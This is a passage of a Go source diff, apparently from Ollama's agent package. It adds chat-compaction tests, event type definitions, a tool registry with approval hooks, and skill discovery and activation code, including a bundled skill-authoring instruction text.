+	if client.requests[2].Think != nil {
+		t.Fatalf("unsupported fallback retry think = %#v, want nil", client.requests[2].Think)
+	}
+}
+
+func TestSimpleCompactorKeepsFewerTurnsForShortChats(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "short summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		KeepUserTurns:       3,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID: "chat-1",
+		Model:  "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "latest request"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if len(result.Messages) != 3 {
+		t.Fatalf("messages = %#v, want compaction tool pair plus latest request", result.Messages)
+	}
+	assertCompactionSummaryPair(t, result.Messages[:2])
+	if result.Messages[2].Content != "latest request" {
+		t.Fatalf("latest turn was not kept: %#v", result.Messages)
+	}
+}
+
+func TestSimpleCompactorCanArchiveWholeShortChat(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "whole summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       3,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID: "chat-1",
+		Model:  "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "only request"},
+			{Role: "assistant", Content: "only answer"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if len(result.Messages) != 2 {
+		t.Fatalf("messages = %#v, want only compaction tool pair", result.Messages)
+	}
+	assertCompactionSummaryPair(t, result.Messages)
+}
+
+func TestSimpleCompactorSkipsBelowThreshold(t *testing.T) {
+	client := &fakeClient{}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		Threshold:           0.8,
+	}}
+
+	messages := []api.Message{
+		{Role: "user", Content: "one"},
+		{Role: "user", Content: "two"},
+		{Role: "user", Content: "three"},
+		{Role: "user", Content: "four"},
+		{Role: "user", Content: "five"},
+	}
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model:    "model",
+		Messages: messages,
+		Latest:   api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 50}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Compacted {
+		t.Fatal("did not expect compaction")
+	}
+	if result.Due {
+		t.Fatal("below-threshold compaction should not be due")
+	}
+	if len(result.Messages) != len(messages) {
+		t.Fatalf("messages changed below threshold: %#v", result.Messages)
+	}
+	if len(client.requests) != 0 {
+		t.Fatalf("summary requests = %d, want 0", len(client.requests))
+	}
+}
+
+func TestSimpleCompactorUsesEstimatedMessagesWhenPromptEvalMissing(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "estimated summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.8,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "read large output"},
+			{Role: "assistant", ToolCalls: []api.ToolCall{{
+				ID: "call-1",
+				Function: api.ToolCallFunction{
+					Name: "read",
+				},
+			}}},
+			{Role: "tool", ToolName: "read", ToolCallID: "call-1", Content: strings.Repeat("x", 360)},
+		},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Due || !result.Compacted {
+		t.Fatalf("expected estimate-driven compaction, got %#v", result)
+	}
+	if result.Summary != "estimated summary" {
+		t.Fatalf("summary = %q", result.Summary)
+	}
+}
+
+func TestSimpleCompactorEstimateIncludesRequestPreamble(t *testing.T) {
+	compactor := &SimpleCompactor{Client: nil, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		Threshold:           0.8,
+	}}
+
+	if !compactor.shouldCompact(CompactionRequest{
+		SystemPrompt: strings.Repeat("system ", 360),
+		Messages:     []api.Message{{Role: "user", Content: "tiny"}},
+	}) {
+		t.Fatal("system prompt should count toward compaction estimate")
+	}
+
+	if !compactor.shouldCompact(CompactionRequest{
+		Messages: []api.Message{{Role: "user", Content: "tiny"}},
+		Tools: api.Tools{{
+			Type: "function",
+			Function: api.ToolFunction{
+				Name:        "verbose_tool",
+				Description: strings.Repeat("description ", 360),
+			},
+		}},
+	}) {
+		t.Fatal("tool definitions should count toward compaction estimate")
+	}
+}
+
+func TestCompactionPromptFitsBudgetByTruncatingLargeToolOutput(t *testing.T) {
+	largeToolOutput := strings.Repeat("x", 10_000)
+	body, err := compactionPrompt("", []api.Message{
+		{Role: "user", Content: "what changed?"},
+		{Role: "assistant", ToolCalls: []api.ToolCall{{
+			ID: "call-1",
+			Function: api.ToolCallFunction{
+				Name: "bash",
+			},
+		}}},
+		{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: largeToolOutput},
+	}, 300)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if estimateCompactionTokens(body) > 300 {
+		t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
+	}
+	if strings.Count(body, "x") >= len(largeToolOutput) {
+		t.Fatal("large tool output was not truncated")
+	}
+	if !strings.Contains(body, "[tool output truncated: showing first ~") {
+		t.Fatalf("truncation marker missing from compaction prompt: %q", body)
+	}
+}
+
+func TestCompactionPromptRetruncatesAlreadyTruncatedToolOutput(t *testing.T) {
+	alreadyTruncated := strings.Repeat("x", 7000) + "\n\n[tool output truncated: showing first ~100 tokens and last ~100 tokens; omitted ~99999 tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n" + strings.Repeat("y", 7000)
+	body, err := compactionPrompt("", []api.Message{
+		{Role: "user", Content: "what changed?"},
+		{Role: "assistant", ToolCalls: []api.ToolCall{{
+			ID: "call-1",
+			Function: api.ToolCallFunction{
+				Name: "bash",
+			},
+		}}},
+		{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: alreadyTruncated},
+	}, 300)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if estimateCompactionTokens(body) > 300 {
+		t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
+	}
+	if strings.Count(body, "x")+strings.Count(body, "y") >= 14_000 {
+		t.Fatal("already-truncated tool output was not truncated again")
+	}
+	if !strings.Contains(body, "[tool output truncated: showing first ~") {
+		t.Fatalf("truncation marker missing from compaction prompt: %q", body)
+	}
+}
+
+func TestCompactionSummaryTextStripsPrefix(t *testing.T) {
+	content := compactionSummaryMessageForTask("worked on branch changes", false)
+	if got := CompactionSummaryText(content); got != "worked on branch changes" {
+		t.Fatalf("summary text = %q", got)
+	}
+}
+
+func TestCompactionSummaryCanTellModelToContinueTask(t *testing.T) {
+	content := compactionSummaryMessageForTask("worked on branch changes", true)
+	if !strings.Contains(content, CompactionContinueInstruction) {
+		t.Fatalf("summary message missing continue instruction: %q", content)
+	}
+	if got := CompactionSummaryText(content); got != "worked on branch changes" {
+		t.Fatalf("summary text = %q", got)
+	}
+}
+
+func TestResolveContextWindowTokensPrefersExplicitNumCtx(t *testing.T) {
+	tests := []struct {
+		name       string
+		options    map[string]any
+		configured int
+		want       int
+	}{
+		{
+			name:       "explicit smaller num ctx",
+			options:    map[string]any{"num_ctx": 4096},
+			configured: 8192,
+			want:       4096,
+		},
+		{
+			name:       "explicit num ctx can exceed configured metadata",
+			options:    map[string]any{"num_ctx": 131072},
+			configured: 8192,
+			want:       131072,
+		},
+		{
+			name:       "metadata without explicit num ctx",
+			configured: 32768,
+			want:       32768,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := ResolveContextWindowTokens(tt.options, tt.configured); got != tt.want {
+				t.Fatalf("ResolveContextWindowTokens() = %d, want %d", got, tt.want)
+			}
+		})
+	}
+}
+
+func TestSimpleCompactorForceCompactsWithoutPromptEvalCount(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "forced summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.8,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent"},
+		},
+		Force: true,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Due || !result.Compacted {
+		t.Fatalf("forced compaction result = %#v", result)
+	}
+	if result.Summary != "forced summary" {
+		t.Fatalf("summary = %q", result.Summary)
+	}
+}
+
+func TestSimpleCompactorDefaultsToKeepingThreeUserTurns(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID: "chat-1",
+		Model:  "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "one"},
+			{Role: "assistant", Content: "one answer"},
+			{Role: "user", Content: "two"},
+			{Role: "assistant", Content: "two answer"},
+			{Role: "user", Content: "three"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	assertCompactionSummaryPair(t, result.Messages[:2])
+	if got := result.Messages[2].Content; got != "one" {
+		t.Fatalf("first kept turn = %q, want one", got)
+	}
+}
+
+func TestSimpleCompactorCarriesPreviousSummary(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "new summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "system", Content: CompactionSummaryMessagePrefix + "old summary"},
+			{Role: "user", Content: "old"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
+		t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
+	}
+}
+
+func TestSimpleCompactorCarriesPreviousToolSummaryAndPlacesNewSummaryBeforeKeptSuffix(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "new summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	messages := []api.Message{
+		{Role: "user", Content: "kept before old summary"},
+		CompactionSummaryMessages("old summary", false)[0],
+		CompactionSummaryMessages("old summary", false)[1],
+		{Role: "user", Content: "latest request"},
+	}
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model:    "model",
+		Messages: messages,
+		Latest:   api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
+		t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
+	}
+	if len(result.Messages) != 3 {
+		t.Fatalf("messages = %#v, want compaction pair plus latest request", result.Messages)
+	}
+	assertCompactionSummaryPair(t, result.Messages[:2])
+	if result.Messages[2].Content != "latest request" {
+		t.Fatalf("kept suffix = %#v", result.Messages)
+	}
+}

agent/events.go

@@ -0,0 +1,177 @@
+package agent
+
+import (
+	"context"
+	"errors"
+
+	"github.com/ollama/ollama/api"
+)
+
+type EventType string
+
+const (
+	EventMessageDelta       EventType = "message_delta"
+	EventThinkingDelta      EventType = "thinking_delta"
+	EventToolCallDetected   EventType = "tool_call_detected"
+	EventToolStarted        EventType = "tool_started"
+	EventToolFinished       EventType = "tool_finished"
+	EventCompactionStarted  EventType = "compaction_started"
+	EventCompactionProgress EventType = "compaction_progress"
+	EventCompacted          EventType = "compacted"
+	EventCompactionSkipped  EventType = "compaction_skipped"
+	EventRunFinished        EventType = "run_finished"
+	EventError              EventType = "error"
+)
+
+// ToolStatus is the typed lifecycle state for a tool call, carried on
+// Event.ToolStatus for tool events.
+type ToolStatus string
+
+const (
+	ToolStatusRunning  ToolStatus = "running"
+	ToolStatusDone     ToolStatus = "done"
+	ToolStatusFailed   ToolStatus = "failed"
+	ToolStatusDenied   ToolStatus = "denied"
+	ToolStatusDisabled ToolStatus = "disabled"
+	ToolStatusSkipped  ToolStatus = "skipped"
+)
+
+// RunStatus is the typed terminal outcome of a run, carried on Event.Status for
+// run_finished events.
+type RunStatus string
+
+const (
+	RunStatusDone     RunStatus = "done"
+	RunStatusDenied   RunStatus = "denied"
+	RunStatusCanceled RunStatus = "canceled"
+)
+
+// CompactionTrigger is the typed reason a compaction ran or was attempted,
+// carried on Event.CompactionTrigger for compaction events.
+type CompactionTrigger string
+
+const (
+	CompactionTriggerForce      CompactionTrigger = "force"
+	CompactionTriggerPromptEval CompactionTrigger = "prompt_eval"
+	CompactionTriggerEstimate   CompactionTrigger = "estimate"
+	CompactionTriggerToolOutput CompactionTrigger = "tool_output"
+	CompactionTriggerError      CompactionTrigger = "error"
+	CompactionTriggerDue        CompactionTrigger = "due"
+)
+
+type Event struct {
+	Type              EventType         `json:"type"`
+	RunID             string            `json:"runId,omitempty"`
+	ChatID            string            `json:"chatId,omitempty"`
+	Model             string            `json:"model,omitempty"`
+	Status            RunStatus         `json:"status,omitempty"`
+	ToolStatus        ToolStatus        `json:"toolStatus,omitempty"`
+	CompactionTrigger CompactionTrigger `json:"compactionTrigger,omitempty"`
+	ToolCallID        string            `json:"toolCallId,omitempty"`
+	ToolName          string            `json:"toolName,omitempty"`
+	WorkingDir        string            `json:"workingDir,omitempty"`
+	Content           string            `json:"content,omitempty"`
+	Thinking          string            `json:"thinking,omitempty"`
+	ToolCalls         []api.ToolCall    `json:"toolCalls,omitempty"`
+	Messages          []api.Message     `json:"messages,omitempty"`
+	Args              map[string]any    `json:"args,omitempty"`
+	Tokens            int               `json:"tokens,omitempty"`
+	Error             string            `json:"error,omitempty"`
+}
+
+type EventSink interface {
+	Emit(Event) error
+}
+
+type EventSinkFunc func(Event) error
+
+func (fn EventSinkFunc) Emit(event Event) error {
+	if fn == nil {
+		return nil
+	}
+	return fn(event)
+}
+
+// eventMetadata carries the run identification fields shared by all events.
+type eventMetadata struct {
+	runID  string
+	chatID string
+	model  string
+}
+
+func newEventMetadata(runID string, opts RunOptions) eventMetadata {
+	return eventMetadata{runID: runID, chatID: opts.ChatID, model: opts.Model}
+}
+
+func newMessageDelta(m eventMetadata, content string) Event {
+	return Event{Type: EventMessageDelta, RunID: m.runID, ChatID: m.chatID, Model: m.model, Content: content}
+}
+
+func newThinkingDelta(m eventMetadata, thinking string) Event {
+	return Event{Type: EventThinkingDelta, RunID: m.runID, ChatID: m.chatID, Model: m.model, Thinking: thinking}
+}
+
+func newToolCallDetected(m eventMetadata, calls []api.ToolCall) Event {
+	return Event{Type: EventToolCallDetected, RunID: m.runID, ChatID: m.chatID, Model: m.model, ToolCalls: calls}
+}
+
+func newToolStarted(m eventMetadata, callID, toolName, workingDir string, args map[string]any) Event {
+	return Event{Type: EventToolStarted, RunID: m.runID, ChatID: m.chatID, Model: m.model, ToolStatus: ToolStatusRunning, ToolCallID: callID, ToolName: toolName, WorkingDir: workingDir, Args: args}
+}
+
+func newToolFinished(m eventMetadata, status ToolStatus, callID, toolName, workingDir string, args map[string]any, content, errMsg string) Event {
+	ev := Event{Type: EventToolFinished, RunID: m.runID, ChatID: m.chatID, Model: m.model, ToolStatus: status, ToolCallID: callID, ToolName: toolName, WorkingDir: workingDir, Args: args, Content: content}
+	if errMsg != "" {
+		ev.Error = errMsg
+	}
+	return ev
+}
+
+func newRunFinished(m eventMetadata, status RunStatus) Event {
+	return Event{Type: EventRunFinished, RunID: m.runID, ChatID: m.chatID, Model: m.model, Status: status}
+}
+
+func newErrorEvent(m eventMetadata, errMsg string) Event {
+	return Event{Type: EventError, RunID: m.runID, ChatID: m.chatID, Model: m.model, Error: errMsg}
+}
+
+func newCompactionProgress(m eventMetadata, tokens int) Event {
+	return Event{Type: EventCompactionProgress, RunID: m.runID, ChatID: m.chatID, Model: m.model, Tokens: tokens}
+}
+
+func newCompactionStarted(m eventMetadata, trigger CompactionTrigger) Event {
+	return Event{Type: EventCompactionStarted, RunID: m.runID, ChatID: m.chatID, Model: m.model, CompactionTrigger: trigger}
+}
+
+func newCompactionSkipped(m eventMetadata, trigger CompactionTrigger, content string) Event {
+	return Event{Type: EventCompactionSkipped, RunID: m.runID, ChatID: m.chatID, Model: m.model, CompactionTrigger: trigger, Content: content}
+}
+
+func newCompacted(m eventMetadata, messages []api.Message, trigger CompactionTrigger, content string) Event {
+	return Event{Type: EventCompacted, RunID: m.runID, ChatID: m.chatID, Model: m.model, CompactionTrigger: trigger, Content: content, Messages: messages}
+}
+
+func (s *Session) emit(event Event) error {
+	if s == nil {
+		return nil
+	}
+	var errs []error
+	for _, sink := range s.EventSinks {
+		if sink == nil {
+			continue
+		}
+		if err := sink.Emit(event); err != nil {
+			errs = append(errs, err)
+		}
+	}
+	return errors.Join(errs...)
+}
+
+func (s *Session) emitIgnoringCanceled(ctx context.Context, event Event) error {
+	err := s.emit(event)
+	if err != nil && ctx != nil && ctx.Err() != nil {
+		//nolint:nilerr // Event sinks may close during cancellation; cancellation is not a user-facing emit failure.
+		return nil
+	}
+	return err
+}

agent/registry.go

@@ -0,0 +1,104 @@
+package agent
+
+import (
+	"context"
+	"fmt"
+	"sort"
+
+	"github.com/ollama/ollama/api"
+)
+
+type ToolContext struct {
+	WorkingDir string
+}
+
+type ToolResult struct {
+	Content    string
+	WorkingDir string
+}
+
+type Tool interface {
+	Name() string
+	Description() string
+	Schema() api.ToolFunction
+	Execute(context.Context, ToolContext, map[string]any) (ToolResult, error)
+}
+
+type ApprovalRequired interface {
+	RequiresApproval(map[string]any) bool
+}
+
+// ScopedTool is implemented by tools that need per-invocation approval
+// scoping beyond the tool name (e.g. shell commands scoped to the exact
+// command string). Tools that don't implement this are scoped by name only.
+type ScopedTool interface {
+	ApprovalScope(args map[string]any) string
+}
+
+type Registry struct {
+	tools map[string]Tool
+}
+
+func (r *Registry) Register(tool Tool) {
+	if r == nil || tool == nil {
+		return
+	}
+	if r.tools == nil {
+		r.tools = make(map[string]Tool)
+	}
+	r.tools[tool.Name()] = tool
+}
+
+func (r *Registry) Get(name string) (Tool, bool) {
+	if r == nil {
+		return nil, false
+	}
+	tool, ok := r.tools[name]
+	return tool, ok
+}
+
+func (r *Registry) Names() []string {
+	if r == nil {
+		return nil
+	}
+	names := make([]string, 0, len(r.tools))
+	for name := range r.tools {
+		names = append(names, name)
+	}
+	sort.Strings(names)
+	return names
+}
+
+func (r *Registry) Tools() api.Tools {
+	if r == nil {
+		return nil
+	}
+	names := r.Names()
+	apiTools := make(api.Tools, 0, len(names))
+	for _, name := range names {
+		tool := r.tools[name]
+		apiTools = append(apiTools, api.Tool{
+			Type:     "function",
+			Function: tool.Schema(),
+		})
+	}
+	return apiTools
+}
+
+func (r *Registry) Execute(ctx context.Context, toolCtx ToolContext, call api.ToolCall) (ToolResult, error) {
+	tool, ok := r.Get(call.Function.Name)
+	if !ok {
+		return ToolResult{}, fmt.Errorf("unknown tool: %s", call.Function.Name)
+	}
+	return tool.Execute(ctx, toolCtx, call.Function.Arguments.ToMap())
+}
+
+func ToolRequiresApproval(tool Tool, args map[string]any) bool {
+	if tool == nil {
+		return false
+	}
+	if t, ok := tool.(ApprovalRequired); ok {
+		return t.RequiresApproval(args)
+	}
+	return false
+}

agent/skill_activation.go

@@ -0,0 +1,57 @@
+package agent
+
+import (
+	"context"
+	"strings"
+
+	"github.com/google/uuid"
+
+	"github.com/ollama/ollama/api"
+)
+
+// activateSkill loads opts.SkillName from the catalog and injects a synthetic
+// assistant tool call plus tool result before the first model request, so the
+// transcript looks like a real skill tool invocation. It emits the same
+// tool_call_detected -> tool_started -> tool_finished lifecycle the model path
+// uses, and returns the messages to prepend. A blank SkillName is a no-op.
+func (s *Session) activateSkill(ctx context.Context, runID string, opts RunOptions) ([]api.Message, error) {
+	name := strings.TrimSpace(opts.SkillName)
+	if name == "" {
+		return nil, nil
+	}
+	select {
+	case <-ctx.Done():
+		return nil, ctx.Err()
+	default:
+	}
+	skill, err := s.Skills.Load(name)
+	if err != nil {
+		return nil, err
+	}
+	args := api.NewToolCallFunctionArguments()
+	args.Set("name", skill.Name)
+	call := api.ToolCall{
+		ID:       "call_skill_" + uuid.NewString(),
+		Function: api.ToolCallFunction{Name: "skill", Arguments: args},
+	}
+	result := api.Message{
+		Role:       "tool",
+		ToolName:   "skill",
+		ToolCallID: call.ID,
+		Content:    skill.Content(),
+	}
+	meta := newEventMetadata(runID, opts)
+	if err := s.emit(newToolCallDetected(meta, []api.ToolCall{call})); err != nil {
+		return nil, err
+	}
+	if err := s.emit(newToolStarted(meta, call.ID, "skill", s.currentWorkingDir(), args.ToMap())); err != nil {
+		return nil, err
+	}
+	if err := s.emitIgnoringCanceled(ctx, newToolFinished(meta, ToolStatusDone, call.ID, "skill", s.currentWorkingDir(), args.ToMap(), result.Content, "")); err != nil {
+		return nil, err
+	}
+	return []api.Message{
+		{Role: "assistant", ToolCalls: []api.ToolCall{call}},
+		result,
+	}, nil
+}

agent/skill_activation_test.go

@@ -0,0 +1,74 @@
+package agent
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/ollama/ollama/api"
+)
+
+type skillTestClient struct{ requests []*api.ChatRequest }
+
+func (c *skillTestClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
+	c.requests = append(c.requests, req)
+	return fn(api.ChatResponse{Message: api.Message{Role: "assistant", Content: "Done."}})
+}
+
+func testSkillCatalog(t *testing.T) *SkillCatalog {
+	t.Helper()
+	dir := t.TempDir()
+	path := filepath.Join(dir, "release-notes")
+	if err := os.Mkdir(path, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(path, "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft release notes.\n---\nUse concise bullets."), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	catalog, err := DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	return catalog
+}
+
+func TestSessionSkillActivationPreservesCallAndResultOrder(t *testing.T) {
+	catalog := testSkillCatalog(t)
+	client := &skillTestClient{}
+	events := &recordingEventSink{}
+	result, err := (&Session{Client: client, Skills: catalog, EventSinks: []EventSink{events}}).Run(context.Background(), RunOptions{
+		Model:       "test",
+		NewMessages: []api.Message{{Role: "user", Content: "draft release notes"}},
+		SkillName:   "release-notes",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(result.Messages) != 4 {
+		t.Fatalf("transcript = %#v", result.Messages)
+	}
+	call, toolTranscript := result.Messages[1], result.Messages[2]
+	if call.Role != "assistant" || len(call.ToolCalls) != 1 || call.ToolCalls[0].Function.Name != "skill" || !strings.HasPrefix(call.ToolCalls[0].ID, "call_skill_") {
+		t.Fatalf("call message = %#v", call)
+	}
+	if toolTranscript.Role != "tool" || toolTranscript.ToolName != "skill" || toolTranscript.ToolCallID != call.ToolCalls[0].ID || !strings.Contains(toolTranscript.Content, "Use concise bullets.") {
+		t.Fatalf("tool result = %#v", toolTranscript)
+	}
+	if len(client.requests) != 1 || len(client.requests[0].Messages) != 3 || client.requests[0].Messages[2].ToolCallID != call.ToolCalls[0].ID {
+		t.Fatalf("model request did not preserve transcript: %#v", client.requests)
+	}
+	var skillEvents []EventType
+	for _, event := range events.events {
+		if event.ToolName == "skill" || event.Type == EventToolCallDetected {
+			skillEvents = append(skillEvents, event.Type)
+		}
+	}
+	if len(skillEvents) < 3 {
+		t.Fatalf("skill event order = %#v, want tool_call_detected,tool_started,tool_finished", skillEvents)
+	}
+	if got, want := strings.Join([]string{string(skillEvents[0]), string(skillEvents[1]), string(skillEvents[2])}, ","), "tool_call_detected,tool_started,tool_finished"; got != want {
+		t.Fatalf("skill event order = %#v, want %s", skillEvents, want)
+	}
+}

agent/skills.go

@@ -0,0 +1,438 @@
+package agent
+
+import (
+	"errors"
+	"fmt"
+	"io/fs"
+	"os"
+	"path/filepath"
+	"regexp"
+	"sort"
+	"strings"
+
+	"gopkg.in/yaml.v3"
+)
+
+const (
+	// SkillsDirEnv overrides the user-level Ollama-owned skills directory. The
+	// cross-client .agents/skills/ convention and project-level .ollama/skills/
+	// are also scanned (see LoadDefaultSkills); on a name collision, Ollama-owned
+	// directories take precedence over .agents/skills/, and project-level takes
+	// precedence over user-level.
+	SkillsDirEnv  = "OLLAMA_SKILLS"
+	skillFilename = "SKILL.md"
+	maxSkillBytes = 1 << 20
+
+	bundledSkillCreatorName    = "skill-creator"
+	bundledSkillCreatorContent = `---
+name: skill-creator
+description: Create or improve reusable skills. Use when the user wants a reusable skill, asks how to author SKILL.md, or needs help installing a skill.
+---
+
+# Create a skill
+
+Create a focused, reusable instruction package. Treat a skill as guidance for the model, not as a way to gain new permissions or bypass safety controls.
+
+## Choose the location
+
+Create user skills beside this one. The skill directory shown in the loaded skill context is this skill's location; its parent is the user skill root. This bundled skill normally lives at ~/.ollama/skills/skill-creator, so new user skills normally go at ~/.ollama/skills/<skill-name>/SKILL.md.
+
+Use a project-local skill directory only when the user asks to keep the skill with that project. Do not overwrite an existing skill without the user's approval. New and changed skills are discovered when the agent starts, so tell the user to begin a new agent session afterward.
+
+## Follow the required shape
+
+Use the directory name as the skill name. Use lowercase letters, numbers, and single hyphens only. Keep the name short and no longer than 64 characters.
+
+Every skill needs a SKILL.md with YAML frontmatter followed by Markdown instructions:
+
+~~~md
+---
+name: release-notes
+description: Draft concise release notes from completed changes. Use when the user asks for a changelog, release notes, or GitHub release copy.
+---
+
+# Draft release notes
+
+Write the workflow here.
+~~~
+
+Require a non-empty description that says both what the skill does and when to use it. Keep the body procedural and concise. Put detailed schemas, long examples, and variant-specific guidance in references/ only when the skill needs them.
+
+Use scripts/ for repeatable or fragile operations that benefit from deterministic execution. Use assets/ for files that belong in generated output. Do not add README files, changelogs, or setup notes that do not help the model perform the task.
+
+## Create safely
+
+1. Identify the repeated task, expected inputs, and useful output.
+2. Choose the smallest name and description that reliably trigger the skill.
+3. Create the folder and SKILL.md; add resources only when they remove real repeated work.
+4. Re-read the completed file and verify its frontmatter, directory-name match, and relative resource paths.
+5. Tell the user where it was created and that a new agent session will discover it.
+
+Skills provide instructions only. They do not grant filesystem, network, shell, or approval privileges, and they do not make a tool available. Use only the tools that are actually available, follow their normal approval rules, and ask before actions that need user authorization.
+`
+)
+
+var skillName = regexp.MustCompile(`^[a-z0-9]+(?:-[a-z0-9]+)*$`)
+
+// SkillsDir returns the canonical runtime-owned skill directory.
+func SkillsDir() (string, error) {
+	if path := strings.TrimSpace(os.Getenv(SkillsDirEnv)); path != "" {
+		return filepath.Abs(path)
+	}
+	if xdg := strings.TrimSpace(os.Getenv("XDG_CONFIG_HOME")); xdg != "" {
+		return filepath.Join(xdg, "ollama", "skills"), nil
+	}
+	home, err := os.UserHomeDir()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(home, ".ollama", "skills"), nil
+}
+
+// Skill is a validated, loadable instruction set. It never grants tool
+// permissions; it is supplied to the model as ordinary tool-result content.
+type Skill struct {
+	Name         string
+	Description  string
+	Instructions string
+	Path         string
+}
+
+func (s Skill) Content() string {
+	var b strings.Builder
+	fmt.Fprintf(&b, "<skill name=%q>\n%s\n", s.Name, strings.TrimSpace(s.Instructions))
+	if s.Path != "" {
+		dir := filepath.Dir(s.Path)
+		fmt.Fprintf(&b, "Skill directory: %s\n", dir)
+		b.WriteString("Relative paths in this skill are relative to the skill directory.\n")
+	}
+	if resources := s.resources(); len(resources) > 0 {
+		b.WriteString("<skill_resources>\n")
+		for _, r := range resources {
+			fmt.Fprintf(&b, "  <file>%s</file>\n", r)
+		}
+		b.WriteString("</skill_resources>\n")
+	}
+	b.WriteString("</skill>")
